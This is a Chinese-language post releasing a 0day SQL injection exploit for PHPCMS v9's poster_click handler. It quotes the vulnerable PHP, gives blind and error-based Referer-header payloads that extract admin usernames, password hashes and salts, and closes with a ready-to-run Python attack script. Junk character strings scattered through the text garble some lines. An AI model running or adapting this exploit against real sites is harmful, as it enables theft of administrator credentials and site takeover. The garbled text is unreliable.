phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
7 M% \8 C/ p$ j" ?
# S. [( O: p& N' X& H问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$ b1 h7 g! K) e/ v/ s" o$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
0 B; K" v; D" r; w$r = $this->db->get_one(array('id'=>$id));
2 t. F) S, M) y5 b/ Qif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
' |' A' c* S: b; M- ?$ip = ip();
$area = $ip_area->get($ip);
6 T  ?0 Z% V3 P. Q8 \$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
; Q" K6 p$ R* L1 r9 g+ Y1 Q7 g$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
- [3 u$ \3 m- w$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
( S: m# F: i3 i$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
. e( L/ S: t6 k' W( i' J} else {
2 E; w% D7 n( t$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
& e- x% F, p6 V+ j/ M+ p}

( W5 S/ h0 u, K; ^* p2 u! B# @
' J4 k' o9 U2 \9 E8 H# H
利用方式：

( z, @) v1 ]) U  a7 b0 F& D8 P* N1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

4 D  _) S/ t3 G. N& d# P通过返回页面，正常与否一个个猜解密码字段。
4 m1 j5 x+ M$ c
2 {  _0 C: E' k  ]1 ^2、代码是花开写的，随手附上了：
2 S3 O; V% G% f& D" \) P
% Y7 T) d, h$ ~, H8 ]1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

+ t3 k% E, P- Z# i# M此方法是爆错注入手法，原理自查。
0 S" `. }5 o7 d- z

7 Y. n+ z2 Z! t" x. M
利用程序:
  Z  v+ y* B* J3 x& {  l! z  A& f& M
#!/usr/bin/env python
import httplib,sys,re
. b; Q$ d& N0 P; g$ R* R
def attack():
print “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
3 r& d8 H& |0 `# B* |url=sys.argv[1]
paths=sys.argv[2]
1 ~8 }6 K1 c- [6 Q) Bconn = httplib.HTTPConnection(url)
, u% ]8 Z+ X! Y: l8 {# Y+ P; Oi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
8 r0 n3 h! t6 `5 h“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
conn.close()
+ P* l$ f/ c! ]4 ]if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
* M% T" h" e- I6 |1 cprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
# Y: N) }8 M+ ]+ Z+ Psys.exit(1)
  C# j3 ~  H& I7 Sattack()
& o( }) `6 f: x
4 l3 r) r- `7 z) N2 g% R7 F